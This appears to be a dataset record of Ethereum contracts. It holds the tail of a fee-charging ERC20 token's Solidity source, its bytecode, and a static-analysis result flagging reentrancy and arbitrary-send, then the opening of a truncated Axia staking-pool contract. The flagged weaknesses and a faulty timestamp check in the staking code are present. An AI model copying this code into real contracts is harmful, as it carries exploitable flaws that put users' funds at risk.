_taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610388578063c3c8cd80146103a8578063c9567bf9146103bd578063db92dbb6146103d2578063dd62ed3e146103e7578063e8078d941461042d57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610349578063a985ceef1461036957600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601c81527f537061636520496e75207c20742e6d652f446578526f756c657474650000000060208201525b6040516101949190611bfe565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b56565b610442565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b16565b610459565b34801561021f57600080fd5b506101e56104c2565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb9565b6104d2565b005b34801561027257600080fd5b50610264610281366004611b81565b61057b565b34801561029257600080fd5b506101e56102a1366004611aa6565b6105fa565b3480156102b257600080fd5b5061026461061d565b3480156102c757600080fd5b506101e56102d6366004611aa6565b61064a565b3480156102e757600080fd5b5061026461066c565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b506040805180820190915260088152675350414345494e5560c01b6020820152610187565b34801561035557600080fd5b506101bd610364366004611b56565b6106e0565b34801561037557600080fd5b50601454600160a81b900460ff166101bd565b34801561039457600080fd5b506101e56103a3366004611aa6565b6106ed565b3480156103b457600080fd5b50610264610713565b3480156103c957600080fd5b50610264610749565b3480156103de57600080fd5b506101e5610796565b3480156103f357600080fd5b506101e5610402366004611ade565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043957600080fd5b506102646107ae565b600061044f338484610b61565b5060015b92915050565b6000610466848484610c85565b6104b884336104b385604051806060016040528060288152602001611dd7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611228565b610b61565b5060019392505050565b60006104cd3061064a565b905090565b6011546001600160a01b0316336001600160a01b0316146104f257600080fd5b6033811061053f5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161053690611c51565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610570565b6001600160a01b0381166000908152600660205260408120546104539042611d41565b6011546001600160a01b0316336001600160a01b03161461063d57600080fd5b4761064781611262565b50565b6001600160a01b038116600090815260026020526040812054610453906112e7565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161053690611c51565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044f338484610c85565b6001600160a01b0381166000908152600660205260408120600101546104539042611d41565b6011546001600160a01b0316336001600160a01b03161461073357600080fd5b600061073e3061064a565b90506106478161136b565b6000546001600160a01b031633146107735760405162461bcd60e51b815260040161053690611c51565b6014805460ff60a01b1916600160a01b179055610791426078611cf6565b601555565b6014546000906104cd906001600160a01b031661064a565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161053690611c51565b601454600160a01b900460ff16156108325760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610536565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086f3082683635c9adc5dea00000610b61565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a857600080fd5b505afa1580156108bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e09190611ac2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109609190611ac2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a857600080fd5b505af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611ac2565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a108161064a565b600080610a256000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8857600080fd5b505af1158015610a9c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac19190611bd1565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d9190611b9d565b5050565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610536565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610536565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610536565b6001600160a01b038216610d4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610536565b60008111610dad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610536565b6000546001600160a01b03848116911614801590610dd957506000546001600160a01b03838116911614155b156111cb57601454600160a81b900460ff1615610e59573360009081526006602052604090206002015460ff16610e5957604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8457506013546001600160a01b03838116911614155b8015610ea957506001600160a01b03821660009081526005602052604090205460ff16155b1561100d57601454600160a01b900460ff16610f075760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610536565b60066009556004600a55601454600160a81b900460ff1615610fd357426015541115610fd357601054811115610f3c57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fae5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610536565b610fb942602d611cf6565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100d57610ff042600f611cf6565b6001600160a01b0383166000908152600660205260409020600101555b60006110183061064a565b601454909150600160b01b900460ff1615801561104357506014546001600160a01b03858116911614155b80156110585750601454600160a01b900460ff165b156111c957601454600160a81b900460ff16156110e5576001600160a01b03841660009081526006602052604090206001015442116110e55760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610536565b601454600160b81b900460ff161561114a57600061110e600c548461151090919063ffffffff16565b60145490915061113d90611136908590611130906001600160a01b031661064a565b9061158f565b82906115ee565b905061114881611630565b505b80156111b757600b546014546111809160649161117a9190611174906001600160a01b031661064a565b90611510565b906115ee565b8111156111ae57600b546014546111ab9160649161117a9190611174906001600160a01b031661064a565b90505b6111b78161136b565b4780156111c7576111c747611262565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120d57506001600160a01b03831660009081526005602052604090205460ff165b15611216575060005b6112228484848461169e565b50505050565b6000818484111561124c5760405162461bcd60e51b81526004016105369190611bfe565b5060006112598486611d41565b95945050505050565b6011546001600160a01b03166108fc61127c8360026115ee565b6040518115909202916000818181858888f193505050501580156112a4573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bf8360026115ee565b6040518115909202916000818181858888f19350505050158015610b5d573d6000803e3d6000fd5b600060075482111561134e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610536565b60006113586116cc565b905061136483826115ee565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141557600080fd5b505afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d9190611ac2565b8160018151811061146e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114949130911684610b61565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cd908590600090869030904290600401611c86565b600060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151f57506000610453565b600061152b8385611d22565b9050826115388583611d0e565b146113645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610536565b60008061159c8385611cf6565b9050838110156113645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610536565b600061136483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ef565b600a808210156116425750600a611656565b602882111561165357506028611656565b50805b61166181600261171d565b15611674578061167081611d58565b9150505b611684600a61117a836006611510565b600955611697600a61117a836004611510565b600a555050565b806116ab576116ab61175f565b6116b684848461178d565b8061122257611222600e54600955600f54600a55565b60008060006116d9611884565b90925090506116e882826115ee565b9250505090565b600081836117105760405162461bcd60e51b81526004016105369190611bfe565b5060006112598486611d0e565b600061136483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c6565b60095415801561176f5750600a54155b1561177657565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179f876118fa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d19087611957565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611800908661158f565b6001600160a01b03891660009081526002602052604090205561182281611999565b61182c84836119e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118a082826115ee565b8210156118bd57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e75760405162461bcd60e51b81526004016105369190611bfe565b506118f28385611d73565b949350505050565b60008060008060008060008060006119178a600954600a54611a07565b92509250925060006119276116cc565b9050600080600061193a8e878787611a56565b919e509c509a509598509396509194505050505091939550919395565b600061136483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611228565b60006119a36116cc565b905060006119b18383611510565b306000908152600260205260409020549091506119ce908261158f565b30600090815260026020526040902055505050565b6007546119f09083611957565b600755600854611a00908261158f565b6008555050565b6000808080611a1b606461117a8989611510565b90506000611a2e606461117a8a89611510565b90506000611a4682611a408b86611957565b90611957565b9992985090965090945050505050565b6000808080611a658886611510565b90506000611a738887611510565b90506000611a818888611510565b90506000611a9382611a408686611957565b939b939a50919850919650505050505050565b600060208284031215611ab7578081fd5b813561136481611db3565b600060208284031215611ad3578081fd5b815161136481611db3565b60008060408385031215611af0578081fd5b8235611afb81611db3565b91506020830135611b0b81611db3565b809150509250929050565b600080600060608486031215611b2a578081fd5b8335611b3581611db3565b92506020840135611b4581611db3565b929592945050506040919091013590565b60008060408385031215611b68578182fd5b8235611b7381611db3565b946020939093013593505050565b600060208284031215611b92578081fd5b813561136481611dc8565b600060208284031215611bae578081fd5b815161136481611dc8565b600060208284031215611bca578081fd5b5035919050565b600080600060608486031215611be5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2a57858101830151858201604001528201611c0e565b81811115611c3b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd55784516001600160a01b031683529383019391830191600101611cb0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0957611d09611d87565b500190565b600082611d1d57611d1d611d9d565b500490565b6000816000190483118215151615611d3c57611d3c611d87565b500290565b600082821015611d5357611d53611d87565b500390565b6000600019821415611d6c57611d6c611d87565b5060010190565b600082611d8257611d82611d9d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064757600080fd5b801515811461064757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8dcc4e111e24d90fc765e139268cd899653f56f18facb96ef135e1ae11a98d764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,866
0xa5130fc368caad25450cb5ad1d3718bab7e558da
/* * @dev This is the Axia Protocol Staking pool 3 contract (SWAP Pool), * a part of the protocol where stakers are rewarded in AXIA tokens * when they make stakes of liquidity tokens from the oracle pool. * stakers reward come from the daily emission from the total supply into circulation, * this happens daily and upon the reach of a new epoch each made of 180 days, * halvings are experienced on the emitting amount of tokens. * on the 11th epoch all the tokens would have been completed emitted into circulation, * from here on, the stakers will still be earning from daily emissions * which would now be coming from the accumulated basis points over the epochs. * stakers are not charged any fee for unstaking. */ pragma solidity 0.6.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract USP{ using SafeMath for uint256; //======================================EVENTS=========================================// event StakeEvent(address indexed staker, address indexed pool, uint amount); event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount); event RewardEvent(address indexed staker, address indexed pool, uint amount); event RewardStake(address indexed staker, address indexed pool, uint amount); //======================================STAKING POOLS=========================================// address public Axiatoken; address public UniswapV2; bool public stakingEnabled; uint256 constant private FLOAT_SCALAR = 2**64; uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum uint256 public MIN_DIVIDENDS_DUR = 18 hours; uint public infocheck; struct User { uint256 balance; uint256 frozen; int256 scaledPayout; uint256 staketime; } struct Info { uint256 totalSupply; uint256 totalFrozen; mapping(address => User) users; uint256 scaledPayoutPerToken; //pool balance address admin; } Info private info; constructor() public { info.admin = msg.sender; stakingEnabled = false; } //======================================ADMINSTRATION=========================================// modifier onlyCreator() { require(msg.sender == info.admin, "Ownable: caller is not the administrator"); _; } modifier onlyAxiaToken() { require(msg.sender == Axiatoken, "Authorization: only token contract can call"); _; } function tokenconfigs(address _axiatoken, address _univ2) public onlyCreator returns (bool success) { require(_axiatoken != _univ2, "Insertion of same address is not supported"); require(_axiatoken != address(0) && _univ2 != address(0), "Insertion of address(0) is not supported"); Axiatoken = _axiatoken; UniswapV2 = _univ2; return true; } function _minStakeAmount(uint256 _number) onlyCreator public { MINIMUM_STAKE = _number*1000000000000000000; } function stakingStatus(bool _status) public onlyCreator { require(Axiatoken != address(0) && UniswapV2 != address(0), "Pool addresses are not yet setup"); stakingEnabled = _status; } function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator { MIN_DIVIDENDS_DUR = _minDuration; } //======================================USER WRITE=========================================// function StakeAxiaTokens(uint256 _tokens) external { _stake(_tokens); } function UnstakeAxiaTokens(uint256 _tokens) external { _unstake(_tokens); } //======================================USER READ=========================================// function totalFrozen() public view returns (uint256) { return info.totalFrozen; } function frozenOf(address _user) public view returns (uint256) { return info.users[_user].frozen; } function dividendsOf(address _user) public view returns (uint256) { if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){ return 0; }else{ return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR; } } function userData(address _user) public view returns (uint256 totalTokensFrozen, uint256 userFrozen, uint256 userDividends, uint256 userStaketime, int256 scaledPayout) { return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout); } //======================================ACTION CALLS=========================================// function _stake(uint256 _amount) internal { require(stakingEnabled, "Staking not yet initialized"); require(IERC20(UniswapV2).balanceOf(msg.sender) >= _amount, "Insufficient SWAP AFT balance"); require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake"); require(IERC20(UniswapV2).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user"); info.users[msg.sender].staketime = now; info.totalFrozen += _amount; info.users[msg.sender].frozen += _amount; info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken); IERC20(UniswapV2).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract emit StakeEvent(msg.sender, address(this), _amount); } function _unstake(uint256 